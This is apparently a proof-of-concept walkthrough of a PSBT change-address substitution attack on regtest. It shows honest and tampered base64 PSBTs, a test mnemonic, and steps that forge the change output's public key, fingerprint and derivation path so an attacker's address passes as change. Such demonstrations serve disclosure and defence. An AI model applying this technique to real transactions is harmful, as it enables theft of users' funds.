See the full video walkthrough on twitter.
Spending uxto from regtest: 3641312fc3e418804f1a0a88098b6bf8e3bdca13afd2f0633ca3166fc8533f17
Signing mnemonic: "smoke chimney announce candy glory tongue refuse fatigue cricket once consider beef treat urge wing deny gym robot tobacco adult problem priority wheat diagram"
Intended tx:
Send 0.1 tBTC to bcrt1q0uyh9x929hy0d6taqshns3f7rm0se4w2jj3uf89t33mysvmekvxsjzrsnd
Receive 0.37309319 back as change to bcrt1qhgdexfrvrcdejxx4sf0ve4yekuq7ej4hsx0ffe
cHNidP8BAH0CAAAAAVw+vOlOlx3GY2PomIDlNUGoB4TgsQupdjuDBjGhJ1LJAAAAAAD9////AodLOQIAAAAAFgAUuhuTJGweG5kY1YJezNSZtwHsyreAlpgAAAAAACIAIH8JcpiqLcj26X0ELzhFPh7fDNXKlKPEnKuMdkgzebMNdQIAAAABAH0CAAAAAfp2e+CGC0GqzUAeZnHnfRhEHum1g9zcYXx6rq1lbqhZAAAAAAD9////AqHi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI9DnwUVAAAAACIAIGwFdq0imMMemdR7rRwFOIQ3YDVraFwco4WPfTZpeDDlDgIAAAEBH6Hi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI8iBgOzzr3vGOnX1ZW+QJGtbPELMA+OtZQ+ne4IT5WmMDYscRg1xdkFVAAAgAEAAIAAAACAAAAAAAEAAAAAIgIDm5lKqkPPiX/VDvlOeoC7YwWOMGgwrSOtLB48u6neKGgYNcXZBVQAAIABAACAAAAAgAEAAAAAAAAAAAA=
Just replace the change addr with the hacker's receive addr.
Hacker's receive addr: bcrt1qd7spv5q28348xl4myc8zmh983w5jx32cs707jh
cHNidP8BAH0CAAAAAVw+vOlOlx3GY2PomIDlNUGoB4TgsQupdjuDBjGhJ1LJAAAAAAD9////AoCWmAAAAAAAIgAgfwlymKotyPbpfQQvOEU+Ht8M1cqUo8Scq4x2SDN5sw2HSzkCAAAAABYAFG+gFlAKPGpzfrsmDi3cp4upI0VYdgIAAAABAH0CAAAAAfp2e+CGC0GqzUAeZnHnfRhEHum1g9zcYXx6rq1lbqhZAAAAAAD9////AqHi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI9DnwUVAAAAACIAIGwFdq0imMMemdR7rRwFOIQ3YDVraFwco4WPfTZpeDDlDgIAAAEBH6Hi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI8iBgOzzr3vGOnX1ZW+QJGtbPELMA+OtZQ+ne4IT5WmMDYscRg1xdkFVAAAgAEAAIAAAACAAAAAAAEAAAAAAAA=
Create a temporary transaction in the hacker's wallet that includes a self-transfer.
Hacker's receive addr: bcrt1qd7spv5q28348xl4myc8zmh983w5jx32cs707jh
Use this temp tx to extract the public key for this receive addr.
cHNidP8BAHECAAAAAUOtAtYt6iJBlymHvHgkjONrwk3DMlOIAy6DqJhDaM2xAQAAAAD9////AvNJXQUAAAAAFgAULzSqHPAKU7BVopGgOn1F8KaYi1KAlpgAAAAAABYAFG+gFlAKPGpzfrsmDi3cp4upI0VYdgIAAAABAH0CAAAAAVGJumUl/GqveBtnDLSGDCXUOKa763eccz7NP3VhMEcOAQAAAAD9////AuSB1xcAAAAAIgAgBbmObdScLl/KMoJRnwtPOMQ21v+KhFNoExd5JewHef4A4fUFAAAAABYAFNDEo+8J6Ze26Z45flGP4+QaEYyhdQIAAAEBHwDh9QUAAAAAFgAU0MSj7wnpl7bpnjl+UY/j5BoRjKEiBgLnqyU3tdSelwMJquBunknzbOHJ/rvUTsjg0cygtPnDGRhzxdoKVAAAgAEAAIAAAACAAAAAAAAAAAAAIgIDXUnszVTQCZ5DZ2J3x6bUYl1hHaiKXfSb+VF6d5Gnd6UYc8XaClQAAIABAACAAAAAgAEAAAAAAAAAACICA+7tIFppAi/tSmKgJFfzaZsZwGv3S/gBrMbZroS8FqnhGHPF2gpUAACAAQAAgAAAAIAAAAAAAQAAAAA=
Edit the simplistic evil psbt and insert the hacker's public key for their receive addr, but also change the fingerprint and derivation path to match the original CORRECT psbt's change path.
cHNidP8BAH0CAAAAAVw+vOlOlx3GY2PomIDlNUGoB4TgsQupdjuDBjGhJ1LJAAAAAAD9////AoCWmAAAAAAAIgAgfwlymKotyPbpfQQvOEU+Ht8M1cqUo8Scq4x2SDN5sw2HSzkCAAAAABYAFG+gFlAKPGpzfrsmDi3cp4upI0VYdgIAAAABAH0CAAAAAfp2e+CGC0GqzUAeZnHnfRhEHum1g9zcYXx6rq1lbqhZAAAAAAD9////AqHi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI9DnwUVAAAAACIAIGwFdq0imMMemdR7rRwFOIQ3YDVraFwco4WPfTZpeDDlDgIAAAEBH6Hi0QIAAAAAFgAUpzgPH5qi7ueUKyPW3Cqj3agnzI8iBgOzzr3vGOnX1ZW+QJGtbPELMA+OtZQ+ne4IT5WmMDYscRg1xdkFVAAAgAEAAIAAAACAAAAAAAEAAAAAACICA+7tIFppAi/tSmKgJFfzaZsZwGv3S/gBrMbZroS8FqnhGDXF2QVUAACAAQAAgAAAAIABAAAAAAAAAAA=